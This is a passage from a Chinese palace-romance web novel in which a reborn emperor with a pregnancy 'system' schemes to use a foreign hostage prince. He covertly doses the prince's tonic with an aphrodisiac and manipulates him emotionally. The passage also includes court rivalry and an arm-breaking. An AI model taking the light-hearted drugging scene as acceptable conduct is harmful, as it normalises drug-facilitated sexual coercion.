苏木张了张口,还想再劝说梁苒,但转念一想,梁苒平日里做事稳妥,也不知是不是有其他用意,还是点点头,拱手说:“是,臣敬诺。”
紫宸殿的东室很快收拾好,梁苒带着赵悲雪走进去,环视四周,微笑说:“看看缺少什么,哪里不如意,勿要与寡人客套,只管说出来。”
赵悲雪的眼神看向四周,三白的狼目几乎变成了四白,袒露出一股少年的天真与烂漫,好像一只没见过世面的小土狗。不,是大土狗。
也是,赵悲雪自小不被待见,被北赵的子民称作天扫星,乃是灾祸的象征,又没有母族的庇护,在信奉强权的北赵,赵悲雪过的根本不是人过的日子。
而紫宸殿的冬日,生着炭火,点着明灯,软榻高枕,香床锦被,一切都那么高贵,一切都那么华美。
赵悲雪的眼圈慢慢殷红起来,冰冷的眼神快速波动,说:“这……都是给我的?”
感动么?梁苒心中冷笑,寡人便是要感动你,腐蚀你,驯化你,让你从今往后,为寡人卖命。
梁苒莞尔:“自然。”
赵悲雪哽咽的说:“很好了。”
梁苒对殿外的宫人招了招手,一个提着药囊的医官走进来,恭敬的作礼:“拜见君上。”<
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梁苒微微颔首:“来给赵皇子诊脉。”
赵悲雪露出奇怪的表情,不知梁苒为何找了医官过来。
梁苒蹙起如画的眉目,满脸担忧的说:“你在离宫吃了那么多苦,又被人欺辱,身上难免有些伤痛,如今到了寡人这里,往后再不会如此了,让医官给你请脉,别是留下什么病根儿才好。”
赵悲雪点点头,听话的露出手腕脉门。
医官上前诊脉,又仔细查看赵悲雪身上的伤痕。
赵悲雪身上的旧伤很多,伤疤斑斑驳驳,但大多数都是在北赵留下的,只有一些小小不言的瘀伤是在离宫被欺负留下的。
还有……
还有背部那一条条鲜明的抓痕,脖颈处暧昧的咬痕,新鲜而火辣,那既不是被欺凌留下的,也不是被欺辱留下的,而是昨夜梁苒不小心留下的。
梁苒再看那些伤痕,脸色陡然一僵,饶是他做了两辈子的君王,心绪也无法平静。昨夜的夜色太黑了,殿中也没有点灯,梁苒起初觉得很疼,那档子事儿一点子也不舒服,不知旁人为何如此津津乐道,可后来一切都变了,梁苒仿佛漂泊在汪洋海面中的一叶小舟,随时会被惊涛骇浪吞没,只能紧紧的攀住最后一株救命稻草,修剪圆润的指甲留下难耐的抓痕,为了不呜咽出声,失神的咬住始作俑者的颈窝。
医官是见过大世面的,尤其是宫中的医官,什么样的场面没经历过?这点子只算是小打小闹,淡定的给赵悲雪看诊,留下了一些祛疤的药膏。
梁苒轻咳一声,站起身来对赵悲雪说:“你且喝些热茶,寡人去送送医官。”
医官是通透的,知晓年轻的天子有话要与自己说,提着药囊恭敬的与梁苒一同离开东室,来到前面的户牖之下。
梁苒压低了声音:“赵皇子可有疾?”
医官回禀说:“回君上的话,赵皇子身上大伤小伤虽多,但大部分是陈年旧伤,已无大碍,若是落在一般人身上,兴许会留下病根儿,然这个赵皇子,年纪轻,身子强,是一般人不能比的,若是静心调养,必不会留下任何病患。”
梁苒目光动了动,他想问的不是这些。
抿了抿殷红的唇瓣,梁苒的声音压得更低,说:“寡人想问的是,赵皇子……可有隐疾?”
分明系统显示怀孕可能性高达99.999999%,按理来说梁苒想要怀孕,一夜足以,结果一夜过去,罪也遭了,如今梁苒腰酸腿软,不可言明的地方仍旧火辣辣的生疼,系统却说梁苒没有怀孕。
梁苒觉得,若不是自己太“幸运”,便是赵悲雪有不可名状的隐疾。
“隐、隐疾?”医官瞪大眼睛:“这……这……臣方才为赵皇子把脉,赵皇子身强体壮,血气方刚,应是……无有隐疾。”
没有隐疾?那也是赵悲雪不行。
梁苒淡淡的说:“开药罢。”
医官说:“敬诺,老臣这就给赵皇子开一些祛淤的外敷药。”
梁苒却说:“寡人要你给赵悲雪开补药,壮体强阳,越补越好。”
医官:“……”???
10. 血气方刚
苦涩浑浊的味道,弥漫在紫宸殿的东室之中。
——那是汤药的味道。
加入了系统新手奖励春药的进补汤药。梁苒亲自端着这样一只精美的雕花小豆,小豆里褐色的汤汁轻轻摇曳,苦涩的药气蒸腾飘散。
“来,”梁苒眉眼尽量放的温柔,看起来便像是一个温柔的君王:“喝药罢。”
按照医官的说辞,赵悲雪根本不需要服药,只需要外敷一些祛瘀的伤药便是了,毕竟赵悲雪年轻体壮,恢复能力比一般人要强得多。
但在梁苒的天威之下,医官不得不开了一方壮体强阳的汤药。
梁苒身怀系统,在高达99.99999%的怀孕几率之下,与赵悲雪发生了一夜情,结果却没有怀孕,这难道是寡人的问题?必然是赵悲雪不中用的缘故。
为了任务三的银钱,为了大梁的民子,快一点怀孕,便可以快一点强国,这对于事业脑的梁苒来说,十足重要。
梁苒将汤药亲手递给赵悲雪,催促道:“喝罢。”
赵悲雪低头看了一眼褐色的汤汁,微微蹙眉,似乎是觉得汤药的味道并不好闻,也是,这天底下恐怕没有人喜欢喝药,还是如此苦涩的汤药。
赵悲雪却没有说话,一仰头,咕咚咕咚两声,竟直接将苦涩的汤药喝了个干净。
“你……”梁苒难得一愣,他无懈可击的笑容出现了一丝丝裂缝。
梁苒喃喃的说:“你都不问问寡人,这是什么汤药?”
赵悲雪还是没有说话,摇摇头。
梁苒又说:“为何不问?万一……是毒药呢?”
这很不符合赵悲雪在梁苒心目中的模样。上辈子的赵悲雪,仿佛地狱中爬出来的修罗厉鬼,但凡是谁家小孩子半夜不睡觉,哭着吵闹,大人便抬出赵悲雪的杀声来吓唬孩子,无论是如何顽皮的孩子,都会被吓得乖乖钻进被窝,老老实实的睡觉。
赵悲雪弑杀、残暴、冷酷、忤逆天常的名声深种人心,同时也是一个疑心病深沉之人,他如何可能问也不问一句,便将旁人递过来的汤药全部饮尽呢?
赵悲雪看着梁苒,低沉的说:“你给我什么,我便饮什么。”
梁苒一时间有些失语,眼前的赵悲雪,不过十七八岁的年纪,还很年轻,难道还没有变成日后那样冷酷的修罗,看起来……很好骗。
寡人若是稍加用心,循序诱导,说不定这只小野狗,便会对寡人死心塌地,心甘情愿的为我大梁卖命,那往后的诸国争霸,还有他北赵什么事儿?
梁苒体贴的递过来一只青瓷杯盏,说:“来,饮口水,去去苦涩。”
赵悲雪接过杯盏,二人的指尖难免触碰在一起,也不过是一瞬,赵悲雪缩了缩手指,慢慢垂下头,只是用一双生满茧子、骨节分明的手掌握紧杯盏,却不饮水。
“为何不饮?”梁苒奇怪。
赵悲雪轻声说:“你给我的……舍不得饮。”
梁苒又是一愣,轻笑说:“一盏水而已,你如今到了寡人这里,便不必像从前一样,寡人……”
梁苒伸出手去,轻轻托住赵悲雪的下巴,迫使他抬起头来,微笑的看向他,别有深意的说:“寡人会对你好的。”
赵悲雪回视着梁苒,那双黝黑的眸子,浑似黝黑的深潭,表面看起来不兴波澜,其实内地里像黑色的牢笼,充满了暴风漩涡。
赵悲雪的喉结干涩的滚动,沙哑的说:“从小开始,便没有人对我这般好过……”
赵悲雪乃是北赵的四皇子,可惜他出生之时星象诡异,便被盖上了天扫星的大帽子。从那以后,无论是天灾还是人祸,北赵的皇帝都会怪罪在赵悲雪的头上,发布榜文斥责赵悲雪这个天扫星,好似比罪己诏还要管用,百姓也吃这一套。
赵悲雪还记得,那一年,他只有五六岁那么大,按理来说,小孩子总是不记事儿的,可那时候的赵悲雪已然需要做苦力讨生活,不得不记得那些煎熬的岁月。
北赵大旱,整整三个月没有下雨,很多地方颗粒无收,北赵的皇帝正在扩充军备,根本无法播放救灾粮,于是赵悲雪的亲生父亲,北赵的一朝天子想到了一个好法子。
他们将只有五六岁的赵悲雪抓起来,吊在北赵皇宫的宫门之前,不给一口饭食,不给一口水饮,便这样风吹日晒,美名其曰是用天扫星向上天请罪,其实北赵的皇帝只是想用这种方式,发泄百姓对朝廷的不满罢了。
果然,北赵的子民被统治者这样的手段愚弄诈怖,将不满与愤恨,从朝廷转移到了一个小小的孩童身上。
他们在宫门下围观,眼睁睁看着无助的孩子,一点点脱水,濒临死亡……
那一年,是赵悲雪最绝望的一年。
小小的赵悲雪,被剧烈的日头暴晒,双手吊起已经脱臼,起初还觉得疼痛,可后来疼痛变得奢侈,他耳目眩晕,天地倒转,仿佛身处水深火热,脱水让他渐渐产生了幻觉。
不知是冷,还是热,不知是天明,还是天暗,每一口吐息,都是深深的煎熬。
就在那样残酷的日光之下,一条白色的身影,犹如天神降临,圣洁而纯粹,慢慢走向赵悲雪,投下一小片阴影。
就是那一小片阴影,救命稻草一般,拯救了赵悲雪摇摇欲坠的性命。
阴影缓解了赵悲雪的酷热,他奋力的抬起头,去看那雪白的衣角。
是一个与他差不多年纪的小孩子,生得冰雕玉琢,粉嫩晶莹,不曾遭遇这世间沧桑与污垢的洗礼,干净而纯粹,纯粹得让人嫉妒,让人想要狠狠的玷污!
小孩子一看便是富贵人家的小君子,迷茫的看着被吊的赵悲雪,眨了眨黑黑亮亮的大眼睛,奶里奶气的说:“君父,这个小哥哥,为什么吊在这里?”
“勿要多管闲事,随君父入宫。”
白衣的小君子回头看着赵悲雪,对上赵悲雪那双厌世、死气沉沉、毫无生气的双眸,咬了咬粉嫩的唇瓣,突然哒哒哒跑回来,将一只小水囊掏出,拨开盖子,咕嘟嘟,清水从精致的水囊中流出,流淌在赵悲雪干裂的嘴唇间。
“小哥哥,”白衣的小君子懵懂的说:“你是不是渴了,喝水!”
远处,小君子的君父在唤他,招手说:“苒儿,快来。”
苒儿。
那个如神明降世一般,闯入赵悲雪晦暗肮脏的人生之人,唤作苒儿……
赵悲雪深深的看着梁苒,一双狼目充满了复杂。
梁苒显然没想到还有这样的往事,说:“你的意思是说……那个小君子是寡人?”
梁苒回忆起来:“大抵十多年前,寡人的确随同使团去过北赵一趟。”
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>只是对于当年的事情,梁苒并不记得了,或许对于梁苒来说,只是顺手送了一囊水,并不是什么值得记一辈子的大事儿。
可对于赵悲雪来说,梁苒是他的神祗,以至于超越十年的光阴岁月,赵悲雪在萧山离宫还是一眼便认出了梁苒。
梁苒挑眉:“所以……寡人在十年之前,便对你有恩?”
赵悲雪点点头。
梁苒笑起来:“那还真是有趣儿呢,没想到你与寡人有这样深远的缘分。”
的确有趣儿,如此一来,寡人岂不是更容易“挟恩以报”了么?
“天色晚了。”梁苒温柔的说:“你歇息罢。”
毕竟,赵悲雪饮了壮阳的汤药,汤药里还加入了不少春药,算一算时辰,估摸着也快发作了。
梁苒施施然离开东室,东室的隔壁便是太室,他走进去,并没有着急燕歇,而是退下黑色的龙袍,只留一件轻薄雪白的蚕丝单衣,解开束发的冕旒玉冠,将鸦色的长发披散下来。
梁苒走到镜鉴面前,纤细的食指轻轻一勾,将衣带和衣领勾得松散一些,看起来慵懒而随性。
又稍等了一会子,梁苒长身而起,往隔壁的东室走去。
东室已经熄了灯火,黑压压的一片昏暗。隐约有吐息的声音,深沉、隐忍,却抑制不住的粗重,从软榻上紧蒙的被子里传来。
赵悲雪正是血气方刚的年纪,又有壮阳药与春药的双重加成,这会子岂能不难受?他大汗淋漓,燥热难当,分明是寒冷的隆冬,然而此时的他仿佛深处火焰炼狱,急需找到一个发泄的出口。
“赵悲雪?”
梁苒的声音,带着恰到好处的关切,一点一点的逼近软榻,一点一点的逼近正在苦苦煎熬的赵悲雪。
“赵悲雪,你怎么了?”梁苒故作懵懂的发问:“病了么?哪里不舒服?”
梁苒抓住锦被一角,毫不留情的将锦被掀开,赫然对上赵悲雪一双赤血通红的双目,好似饥饿良久的野狼,随时都会扑杀他的猎物!
然,在梁苒的眼中,赵悲雪才是他精心谋算的猎物。
“别……”赵悲雪的嗓音比平日里更加沙哑,断断续续的说:“别过来。”
梁苒歪了歪头,说:“你怎么了?如何出了这么多汗?”
说着伸出手,轻轻的为赵悲雪拭汗。梁苒知晓,赵悲雪在做最后的挣扎,寡人只需要给他一点点小小的甜头,便可完成系统的任务。
在梁苒的手指接触到赵悲雪滚烫皮肤的一瞬间,嘭——
赵悲雪似乎再难以忍耐,苦苦支撑的理智,轰然碎裂坍塌,他的脖颈青筋暴怒,一个翻身猛地将梁苒压在榻上。
“唔……”梁苒轻呼了一声,昨夜留下的酸疼还很鲜明,赵悲雪滚烫的体温,令他不得不回忆起昨日的荒唐之事,一股细细密密的酥麻从脊椎窜起,直逼头顶。
梁苒仰躺在软榻上,鸦发微微散乱,故意松散的衣带不负梁苒的期盼,终于倏然滑落,雪白的领口、雪白的前襟簌簌散下,白皙细腻、微微透露着殷红的肌肤,一寸寸若隐若现。
梁苒对上赵悲雪嗜血的狼目,并没有惧怕,他的脸上是恰到好处的焦急,多一分则显做作,少一分则显无趣,以退为进的引导赵悲雪,轻轻喘息说:“快放开,你要对寡人……做什么?”
11. 亵渎
果然,梁苒这句话一出口,赵悲雪的吐息更加粗重沙哑,眼神更加的深邃阴霾,仿佛随时都会将梁苒撕碎,啃得连骨头渣子也不剩下。
而这就是梁苒所要达到的目的……
赵悲雪的双眸充满渴望,一点一点的低下头,梁苒能感觉到不停逼近的吐息,如此炙热,滚烫的犹如那晚一般,竟是令梁苒泛起细细的冷颤,一股食髓知味的冲动袭上脑海。
虽刚开始是疼了一些,但后面感觉尚可,左右都是要做的,梁苒自不是矫情之人,只是象征性的稍微挣扎了一下。
“梁苒……”赵悲雪沙哑的嗓音在梁苒耳畔响起,若有似无的厮磨,两人唇瓣之间的距离一寸寸缩短,便在即将触碰的一瞬……
赵悲雪的眼神突然开始挣扎,隐忍、痛苦,仿佛从泥沼中挣脱的野兽,猛地松开梁苒,突然调头跑出紫宸殿。
“赵……”梁苒甚至没能唤出他的全名。
食了那么多进补壮阳之药,箭在弦上,眼看着梁苒便能完成系统任务,赵悲雪这是要去何处?
梁苒快速从榻上下来,拢了拢自己单薄的衣衫,追到紫宸殿大门口,便听到“噗通——”一声,紧跟着是内监与宫女惊慌的大喊。
“赵皇子跳水了!”
“快救人啊!”
“水里还结着冰呢!”
梁苒定眼一看,赵悲雪野狼一般从紫宸殿冲出来,竟然一头冲到不远处的湖水边,天寒地冻的不由分说,往冻着冰渣子的湖水中一跳,吓得旁边的内监宫女目瞪口呆,呆若木鸡!
梁苒:“……”
为了压制住大补药的烈性,赵悲雪大冬日里的跳湖了?
梁苒险些被气笑,揉了揉额角,干脆一甩袖袍转身入了紫宸殿,回太室歇息,躺在龙榻之上,喃喃自语的说:“赵悲雪这个狂徒……”
梁苒是早产儿,自小身子弱,这一日从上京到萧山来回奔波,尤其昨日里还是梁苒两辈子的第一次,身子实在吃不消,一沾上柔软的头枕,很快便沉入香甜的睡梦之中。
一夜无梦,沉沉的睡了一个好觉,今日也无需朝参,梁苒再睁开眼目的时候,已然日上三竿,冬日的暖阳透过户牖,倾洒在头枕之畔,让梁苒有一种恍然隔世的感叹。
真好,寡人还是大梁的一国之君,寡人的大梁江山尚在……
梁苒懒洋洋的伸了一个懒腰,支起软绵绵的身子,自行更衣完毕,这才推开太室的大门,准备唤宫人来伺候盥洗。
太室的殿门一打开,一道黑影无声无息的跪在门口,险些吓了梁苒一跳。
是赵悲雪!
赵悲雪一脸冷漠的厌世感,整个人似乎都是灰白色的,不染一点点烟火气息。双膝跪在地上,垂着头,不知在太室门口跪了多久。
赵悲雪听到动静,立刻抬起头来,整个灰白色的身躯突然染上了一些浅淡的颜色,富有了一点点生气,一双狼眼变成了狗眼,希冀又渴望的盯着梁苒。
梁苒奇怪:“你跪在这里做什么?”
赵悲雪干裂的嘴唇微微抖动了一下,低声说:“昨晚……我险些做了亵渎你的事情,我是来向你请罪的。”
梁苒在心头笑起来,险些?多亏了你的险些,寡人的系统任务没有完成。
他的眼皮抽动,面上却挂起温柔的微笑,好似一个大度的君王,亲手扶起赵悲雪,嗓音犹如春风一般沁人心脾,说:“无妨,定然是昨日医官署开的汤药,太过烈性,你又如此年轻,皆是人之常情,寡人又怎会因为这点事情怪罪于你呢?”
“快起身。”梁苒还关切的说:“寡人并未放在心上。”
赵悲雪的眼神果然激起了小小的涟漪,是被梁苒感动到了。
无错,便是如此,梁苒心想,寡人便是要这样一点点,腐蚀他,驯化他,让他变成寡人最听话的狗。
“君上。”苏木从殿外走进来,拱手说:“晋王求见。”
梁苒目光一转,微笑说:“原是大皇兄来了。”
他转头对赵悲雪说:“你乖乖在此处等一会子,寡人很快便回来,一会儿一同用早膳,如何?”
赵悲雪立刻点头,毫无异意,好似一条体型巨大,却听话的狼狗:“好。”
梁苒带着苏木走出太室,背过身的一刹那,脸色立刻撩下来,再无什么温柔可善的笑意,好似方才的笑容只是昙花一现的幻觉罢了。
梁苒一面走一面说:“晋王为何而来?”
苏木低声说:“菰泽国带领二十万精锐投诚的事情,已经闹得沸沸扬扬,怕是晋王听说了这件事情。”
“呵呵……”梁苒轻笑一声,态度模棱两可。
紫宸殿的书房中,大梁晋王,也就是梁苒同父异母的大皇兄梁溪,正端正静候。
梁苒走到书房门口,并没有立刻入内,而是隔着户牖端详这位大皇兄。
大皇兄梁溪,乃是他们这些兄弟里面的长子,自小温文尔雅,聪慧通达,没少受到君父的夸赞,上到大梁的羣臣,下到大梁的百姓,都以为梁溪会成为大梁的太子,会成为大梁的新君。
可惜,没想到的是,老皇帝在御驾亲征的途中病逝,太子之位空悬已久,梁溪本想以长子的身份即位,大宗伯却横插一杠,扶持了最没有能耐的三皇子梁苒即位,成为了如今的大梁新君。
一步之遥,梁溪便可以登上大梁的宝座,他能不恨么?梁溪最痛恨的人,无异于把持朝政只手遮天的大宗伯,次之,便是当今皇位的梁苒。
梁苒定定的看着梁溪挺拔清瘦的背影,上辈子还在做皇子的时候,梁苒与梁溪的干系明明是最好的,梁溪是一个优秀的长子,尊重长辈,爱戴子民,甚至溺爱弟弟,只是没想到,到头来,因为一张龙椅,兄弟阋墙,反目成仇。
梁溪是一个有傲骨之人,甚至十足迂腐,他被大宗伯打压,郁郁不得志,最终寡欢而死,病逝之时不过二十八岁。
“大皇兄。”梁苒调整好复杂的情绪,嗓音清朗的唤了一声,款步走入书房。
梁溪转过头来,和当年一模一样的容貌,清秀斯文,彬彬儒雅,一张美人鹅蛋脸,从上到下充斥着古朴的美感。
梁溪恭敬的作礼:“臣拜见天子。”
梁苒笑说:“大皇兄不必多礼,今日前来可是有事儿?”
梁溪深吸一口气,也没有顾左右而言他,直接开门见山的说:“启禀君上,臣听闻菰泽国带领二十万精锐投诚,因此特来向君上请命,臣愿带领鸿胪寺,负责迎接菰泽使团,必不给我大梁丢脸!”
梁溪乃是晋王,在大梁的四方封王之中最为尊贵,官居九命,比大宗伯这个七命还要高两命。可惜一切都是虚头,梁溪被大宗伯扔进了负责外交事宜的鸿胪寺,按理来说,鸿胪地位崇高,奈何整个鸿胪寺都是大宗伯的爪牙,梁溪进入府署之后一直被孤立,根本说不上半句话,堂堂一个晋王,形同虚设。
眼下大宗伯突然中风昏厥,正是梁溪翻盘的大好时机。
梁苒知晓他的心思,梁溪想要借着大宗伯病倒之时,釜底抽薪,真正掌握鸿胪寺。
眸光微微波动,梁苒深知他的这个大皇兄,性情高洁,行事作风干脆利索,也正是因为道德底线太高,所以有些孤傲迂腐,从不会做对百姓,对大梁不利的事情,其实若没有大宗伯在其中挑唆,梁苒和梁溪,会做一辈子的好兄弟。
“好啊。”梁苒一口答应下来,十足轻松。
“君上?”反观梁溪,陡然一愣,似乎没听清梁苒在说什么,一脸的不可置信。
梁苒笑起来:“寡人说好,大皇兄本就在鸿胪寺供职,接待菰泽国使团的事情,交给鸿胪,这不是天经地义,再合适不过的事情么?”
梁苒和梁溪虽然派系不一样,但他们的目的是一致的,都
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想趁着这次机会,架空大宗伯的势力,倘或梁溪能挑起这次大梁,无异于狠狠打击了大宗伯的气焰。
再者,让晋王梁溪与大宗伯针锋相对,也可以适当的分散大宗伯对梁苒的束缚,从中找到更多反击的空隙。
梁溪呆呆的久久不能回神,梁苒握住他的手,说:“大皇兄,寡人本还在担忧,这么重要的事情合该交给谁,寡人才能安心,如今大皇兄主动分忧,真是解了寡人的燃眉之急呢。”
梁溪被他亲密的握着手掌,略微有些不自然,心窍却麻酥酥的,不知为何陡然回忆起年幼与两位弟亲顽闹在一起的场面,那时候的他们天真无邪,毫无芥蒂,更不要说什么隔阂了。
梁溪的心头颤抖,其实梁苒也是不得已,被大宗伯愚弄把控,自己不该恨他的,更何况,他待自己还是一往如初的和善,作为长兄,怎能如此的小肚鸡肠?
“君上……”梁溪开口说:“最近天气寒冷,君上往日最畏寒,要多多注意龙体。”
梁苒点点头:“大皇兄也是。”
“君上!!君上!”一道枯树皮般的嗓音高高抛起,打断了兄弟二人的叙旧。
“大宗伯您不能进去啊,君上正在谒见晋王……”
“伯爷,伯爷,您不能……”
嘭——
不顾外面的内监阻拦,大宗伯拄着一只拐杖,撞开紫宸殿书房的大门,直接冲了进来。
梁苒挑眉:“大宗伯醒了?”
还真是祸害遗千年,这般快便醒了,真真儿是可惜了。
大宗伯一眼便看到了晋王梁溪,虽面色苍白,但气势咄咄逼人:“君上!你是不是把接待菰泽使团的事情,交给晋王了?这般大的事情,怎么能交给一个乳臭未干的娃娃?自然是交给老臣!”
晋王梁溪冷笑:“伯爷此言差矣,本王已然及冠,如何是乳臭未干?再者,君上一言九鼎,已然将菰泽使团的事情,交给本王全权处理,至于大宗伯……还是回府养病去罢。”
“你!!”大宗伯用手指着晋王梁溪,一点子也不避讳。
哐哐哐几声,大宗伯拄着拐杖走过来,也不作礼,竟一把擒住梁苒的手腕,脸红脖子粗的逼问:“君上你说!接待菰泽使团的事情,到底是交给晋王,还是交给老臣!君上你倒是说啊!”
“嘶……”梁苒狠狠抽了一口气,手腕被拧得疼痛。
他的皮肤白皙,瞬间通红一片,其实梁苒并非娇气之人,尤其是经历过上辈子,可眼下他不想忍耐,一分的疼痛他要表达出十二分,这样才能让世人看到大宗伯丑陋的嘴脸。
晋王梁溪看到弟弟痛呼,眼角还有泪花闪烁,呵斥说:“大宗伯你要做什么?!你敢冲撞君上?还不放手!”
“老臣不敢冲撞!”大宗伯有恃无恐:“老臣不过问一问君上,君上回答之后,老臣立时便会放……”放手。
“啊啊啊啊——”大宗伯的话陡然变成惨叫。
一道黑影瞬间闪入书房,灵动犹如鬼魅,迅捷犹如雷闪,一把擒住大宗伯的手臂,咔嚓便是一拧,众人甚至都听到了大宗伯骨头错位的声音,头皮发麻。
“啊!!谁?!放……放手!”大宗伯凄惨哀嚎。
梁苒被大宗伯放开,身体一个踉跄,梁溪立刻上前扶住,担心的说:“君上,伤势如何?”
梁苒顾不得这些,定眼一看:“赵悲雪?”
是赵悲雪,他拧着大宗伯的手臂,面如修罗,不带一丝一毫的表情。
大宗伯威胁怒吼:“是你?!北赵的那个天扫星质子?!放手!!你可知我是谁?你竟敢……”
不等大宗伯说完,赵悲雪冷冷的说:“我不是梁人,不必识得你是谁,我想扭断谁的手,便扭断谁的手;我想扭断谁的脖子,便扭断谁的脖子。我倒想看看,梁人会不会因为我扭断了一个大宗伯的脖子,便和北赵再次开战。”
12. 坐怀不乱
在梁苒的面前,赵悲雪像一只可怜兮兮的小土狗,总是垂着头,低着眼帘,不知他在想什么,纵使身材高大,也缭绕着一种弱小、可怜、需要疼爱的错觉。
然,在旁人面前,赵悲雪像一只发狂的野狼,肩背宽阔,劲腰挺拔,一张俊美的容貌充斥着死灰一样的寂静,只消看一眼,便知他是不好惹的狂徒。
“你——”大宗伯颤抖的说:“我可是大梁的大宗伯!你敢……”
赵悲雪的眼神仍然寂静,宁静的令人战栗,幽幽的说:“不知天扫星杀人,会不会归咎到天灾之上,你大可看看,我敢还是不敢。”
“啊啊——!!”大宗伯的嗓音突然拔高,因着赵悲雪说到做到,手掌突然发力,五指犹如鹰爪,猛地收拢。
嘎巴!大宗伯的手臂发出了一声奇怪的轻响,钝钝的,好似老骨头断裂的声音。
“嗬——”猛地倒抽一口冷气,大宗伯再喊不出一声,昏黄的眼珠一翻,好似那日在太极殿廷议,又昏厥了过去。
“大宗伯?”梁苒满脸关切,装作很紧张的的模样:“大宗伯!哎呀,怎会如此,大宗伯昏倒了,定然是病情还未大好,快来人!”
内监和宫女冲进来,七手八脚的将大宗伯抬出去,整个紫宸殿混乱了好一阵,最终慢慢归为平息。
晋王梁溪冷冷的看了一眼被抬走的大宗伯,转过头来说:“君上的手腕受伤了,还是及时上些药才好。”
梁苒并未当回事,他不是娇气之人,方才痛呼不过做做样子罢了。
梁溪却当真了,查看他的手腕说:“都红了,大兄知晓你以往最是怕疼,还是上些药罢。”
是了,儿时的梁苒最是怕疼,他是兄弟三个里面最小的幺儿,大兄梁溪,与二兄梁深乃是同母同父的亲兄弟,但这不妨碍梁溪疼爱幺弟,三个人总是顽在一起,但凡有好的东西,梁溪都会最先让给梁苒。
梁苒小时候很怕疼,偏偏二兄梁深是个闹腾的,总是在大兄看不到的地方,带着梁苒上房揭瓦,闹了一身的土一身的伤回来,这种时候身为大兄的梁溪便会狠狠的训斥二兄,心疼的给梁苒上药。
可惜……
可惜这些往事,终究是往事,可堪回首,却抓不住,摸不着。
因着大宗伯扶持梁苒上位,兄弟三人干系分崩,已然很久都没有坐在一起,好好儿的说会儿话了。
梁苒稍微有些走神,梁溪托着他的手腕一愣,黑色的袖袍之下,除了被大宗伯掐住,即将消退的红色捏痕之外,竟还有些斑斑驳驳的痕迹。
晋王梁溪虽洁身自好,但到底是及冠的男子,这些暧昧的红痕他还是识得的,自然是——吻痕。
梁苒回过神来,不着痕迹的抽回手,微笑说:“当真没事,都是一些小伤,不碍事儿的。”
“对了,”梁苒岔开话题,温柔的说:“接待菰泽使团的事情,便交给大皇兄来处置了,劳烦大皇兄了。”
晋王梁溪拱手说:“请君上放心,臣定竭尽全力,不辱君命!”
梁苒微微颔首:“使团即将入京,大皇兄快去准备罢,可有你忙的。”
晋王梁溪张了张口,其实想问问梁苒那一身吻痕,可又有些犹豫,毕竟……如今的他们,并非是能互相询问如此私密之事的干系了,他们虽还是兄弟,可已然不是亲密无间的手足。
“臣……告退。”晋王梁溪一板一眼作礼,转身大步走出紫宸殿。
梁苒舒出一口气,果然,大兄的眼神还像以前一般的凌厉。
他环视左右,奇怪的说:“可见到赵皇子了?”
赵悲雪方才还在此处,扭断了大宗伯的手臂之后,紫宸殿中有一时的混乱,或许便是那个时候,赵悲雪不见了踪影,不知跑到什么地方去了。
“呵。”梁苒哂笑一声:“难道他也知怕了?”
真真儿是个不知天高地厚的狂徒,无论是梁人还是赵人,敢不由分说拧断大宗伯手臂的人,恐怕举目遍及整个天下,也找不出第二个!
兴许是躲起来了,梁苒觉得躲起来也好,免得大宗伯醒来找他麻烦,赵悲雪这个人,梁苒还没有“用完”,可不能便这般让他交代了。
梁苒回了紫宸殿太室,刚坐下来准备歇一歇。
踏踏踏踏——
是跫音,有人急促的跑进来,是堪堪失踪的赵悲雪。
大冬日里的,赵悲雪一头热汗,整个人冒着一层热腾腾的蒸汽,好似要成仙了一般,怀里抱着什么,大步跑进来。
赵悲雪没有逃跑?梁苒狐疑的看着他。
赵悲雪跑过来,单膝跪在梁苒面前,托起他方才被大宗伯掐红的手腕,献宝一样将怀中的小盒子拿出来。
“这是何物?”一股子泥腥味扑面而来,梁苒嫌弃的用袖袍轻轻掩住鼻尖。
赵悲雪不见了方才的狂放,垂着头说:“这是我方才去找捣的伤药,以前我在赵宫中做苦力,受了伤,也没有伤药,都是自己捣伤药,很管用,敷上……便好。”
灰黑色的泥状物,也不知是什么,黏糊糊、湿哒哒,还有些粗粝的颗粒在其中,撒发着土腥气与草药的苦涩味道。
梁苒是有些洁癖之人,什么时候都衣衫整洁,体体面面,他受不了脏乱,尤其对气味敏感,此时已经嫌弃的头皮发麻,掉了一身鸡皮疙瘩。
只是……
只是梁苒强忍着嫌弃,一张美艳的脸面露出恰到好处的惊讶,说:“你自己做的伤药?方才你突然不见人影,便是去做这个了?”
赵悲雪点点头。
梁苒心中气笑,面上却装作一脸感动:“实在太劳烦你了,多谢你。”
赵悲雪垂着头,但梁苒看的清清楚楚,他的耳根子慢慢爬上了一层殷红,因着自己轻飘飘,毫无诚意的感谢和夸赞。
果然呢,年纪轻轻的赵悲雪,还未见过大世面,还不是未来嗜血冷酷的北赵皇帝,就像一只畏生的小狗子,只要捋顺了他戒备的刺毛,便会化为绕指柔,一只听话的好狗。
梁苒再接再厉,顺水推舟,轻声说:“你愿意替寡人上药么?”
赵悲雪立刻点头,沙哑的说:“愿意。”
梁苒微笑,轻松拿捏,只是……这泥巴药有些子恶心。
*
菰泽国君带领二十万精锐投诚,接风宴盛大华美,前所未有的隆重,给足了菰泽颜面。
今日,接风宴便会在大梁宫的长欢殿中举行。
梁苒更衣完毕,正在整理带扣蹀躞,苏木从外面阔步走进来,拱手说:“拜见君上。”
梁苒侧目,说:“大宗伯有动静了?”
梁苒经历两辈子,最信任的便是苏木,因此将盯梢大宗伯一举一动的活计交给了苏木,苏木沉稳镇定,最是合适不过。
苏木回答说:“回禀君上,大宗伯自从被赵皇子扭断了手臂之后,一直在府中养伤养病,登门探望的臣子众多,但大宗伯只见了秦王。今日大宗伯入宫赴宴,也突然见了秦王。”
“秦王……”梁苒幽幽的叨念了一声。
大梁分封四王,以晋王为首,晋王便是梁苒的大皇兄——梁溪。
而这个秦王,便是梁苒的二皇兄——梁深。
梁溪与梁深乃是亲兄弟,同父同母,一母同胎的双生子。早些年兄弟三个人的干系非常好,在先皇去世之时,一切都变了。
晋王梁溪身为长子,按照大梁的老祖宗规制,没有立太子储君的情况下,理应由长子即位。可偏偏梁溪太过优秀,受百姓爱戴,大宗伯唯恐不能摆布于他,于是扶持三皇子梁苒上位。
梁溪本可以是大梁的天子,现在却只能做大梁最尊贵的王爵,还是没有实权的王爵,芥蒂与隔阂仿佛是一粒种子,虽谁也没有说明,但悄无声息的种下。
至于秦王梁深。梁深乃是不可多得的武将,从小上房揭瓦,与他大兄不同,好动的厉害,乃是上京一霸
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。所幸梁深为人直爽,不谙心机城府,并不是个坏的,反而义气果敢。
